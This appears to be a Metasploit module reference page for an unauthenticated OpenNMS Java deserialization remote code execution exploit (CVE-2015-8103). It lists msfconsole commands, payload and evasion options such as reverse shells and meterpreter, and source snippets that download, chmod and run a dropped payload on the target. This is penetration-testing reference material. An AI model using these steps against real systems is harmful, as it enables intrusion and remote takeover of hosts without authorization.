OpenNMS Java Object Unserialization Remote Code Execution - Metasploit
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Module Overview
Name: OpenNMS Java Object Unserialization Remote Code Execution
Module: exploit/linux/misc/opennms_java_serialize
Source code: modules/exploits/linux/misc/opennms_java_serialize.rb
Disclosure date: 2015-11-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 1099
List of CVEs: CVE-2015-8103
This module exploits a vulnerability in the OpenNMS Java object which allows an unauthenticated attacker to run arbitrary code against the system.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/misc/opennms_java_serialize
msf exploit(opennms_java_serialize) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/misc/opennms_java_serialize exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/opennms_java_serialize
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/misc/opennms_java_serialize) > show info
Name: OpenNMS Java Object Unserialization Remote Code Execution
Module: exploit/linux/misc/opennms_java_serialize
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-11-06
Provided by:
Ben Turner <[email protected]>
Available targets:
Id Name
-- ----
0 OpenNMS / Linux x86
1 OpenNMS / Linux x86_64
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
WRITABLEDIR /tmp/ no A writable directory on the host
Payload information:
Description:
This module exploits a vulnerability in the OpenNMS Java object
which allows an unauthenticated attacker to run arbitrary code
against the system.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-8103
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
Module Options
This is a complete list of options available in the linux/misc/opennms_java_serialize exploit:
msf6 exploit(linux/misc/opennms_java_serialize) > show options
Module options (exploit/linux/misc/opennms_java_serialize):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
WRITABLEDIR /tmp/ no A writable directory on the host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 OpenNMS / Linux x86
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/opennms_java_serialize exploit:
msf6 exploit(linux/misc/opennms_java_serialize) > show advanced
Module advanced options (exploit/linux/misc/opennms_java_serialize):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RmiReadLoopTimeout 1 yes Maximum number of seconds to wait for data between read iterations
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/opennms_java_serialize module can exploit:
msf6 exploit(linux/misc/opennms_java_serialize) > show targets
Exploit targets:
Id Name
-- ----
0 OpenNMS / Linux x86
1 OpenNMS / Linux x86_64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/opennms_java_serialize exploit:
msf6 exploit(linux/misc/opennms_java_serialize) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/opennms_java_serialize exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/opennms_java_serialize) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This system has not responded with the correct RMI header
Here is a relevant code snippet related to the "This system has not responded with the correct RMI header" error message:
60: sock.put(data1)
61:
62: # Wait for a successful response
63: data = recv_protocol_ack # rescue nil
64: unless data
65: fail_with(Failure::Unknown, "This system has not responded with the correct RMI header")
66: end
67:
68: # Send the RMI payload
69: sock.put(data2)
70:
<PEER> - Failed to connect to the host
Here is a relevant code snippet related to the "<PEER> - Failed to connect to the host" error message:
70:
71: # Disconnect
72: disconnect
73:
74: rescue ::Rex::ConnectionError
75: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the host")
76: end
77: end
78:
79: # Wget the file onto the host in the temp directory
80: def wget_payload
<PEER> - Unable to chmod payload
Here is a relevant code snippet related to the "<PEER> - Unable to chmod payload" error message:
103: cmd = "chmod +x #{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
104:
105: vprint_status("#{peer} - Chmod the payload...")
106: res = exec_command(cmd)
107:
108: fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload") unless res
109:
110: Rex.sleep(1)
111: end
112:
113: # Execute payload on host
<PEER> - Unable to exec payload
Here is a relevant code snippet related to the "<PEER> - Unable to exec payload" error message:
115: cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
116:
117: vprint_status("#{peer} - Executing the payload...")
118: res = exec_command(cmd)
119:
120: fail_with(Failure::Unknown, "#{peer} - Unable to exec payload") unless res
121:
122: Rex.sleep(1)
123: end
124:
125: # Handle incoming requests from the server
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7588 Merged Pull Request: Fix incorrect disclosure date for OpenNMS exploit
- #7094 Merged Pull Request: OpenNMS Java Object Deserialization RCE Module - take 2
References
- CVE-2015-8103
- http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/jenkins_command
- exploit/linux/misc/jenkins_java_deserialize
- auxiliary/gather/opennms_xxe
- exploit/linux/http/kaltura_unserialize_cookie_rce
- exploit/linux/http/kaltura_unserialize_rce
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/http/jenkins_xstream_deserialize
- exploit/multi/http/magento_unserialize
- exploit/multi/http/pimcore_unserialize_rce
- exploit/multi/http/shiro_rememberme_v124_deserialize
- exploit/multi/http/vbulletin_unserialize
- exploit/multi/misc/weblogic_deserialize
- exploit/multi/misc/weblogic_deserialize_asyncresponseservice
- exploit/multi/misc/weblogic_deserialize_badattr_extcomp
- exploit/multi/misc/weblogic_deserialize_badattrval
- exploit/multi/misc/weblogic_deserialize_marshalledobject
- exploit/multi/misc/weblogic_deserialize_rawobject
- exploit/multi/misc/weblogic_deserialize_unicastref
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/webapp/drupal_restws_unserialize
- exploit/unix/webapp/horde_unserialize_exec
- exploit/unix/webapp/invision_pboard_unserialize_exec
- exploit/unix/webapp/joomla_akeeba_unserialize
- exploit/unix/webapp/sugarcrm_rest_unserialize_exec
- exploit/unix/webapp/sugarcrm_unserialize_exec
- exploit/unix/webapp/tikiwiki_unserialize_exec
- exploit/unix/webapp/tuleap_rest_unserialize_exec
- exploit/unix/webapp/tuleap_unserialize_exec
- exploit/windows/browser/mozilla_firefox_xmlserializer
- exploit/windows/http/hp_imc_java_deserialize
- exploit/windows/misc/ibm_websphere_java_deserialize
Related Nessus plugins:
- Jenkins < 1.638 / 1.625.2 Java Object Deserialization RCE
- RHEL 6 : Red Hat OpenShift Enterprise 2.2.9 (RHSA-2016:0489)
- RHEL 7 : openshift (RHSA-2016:0070)
Authors
- Ben Turner <benpturner[at]yahoo.com>
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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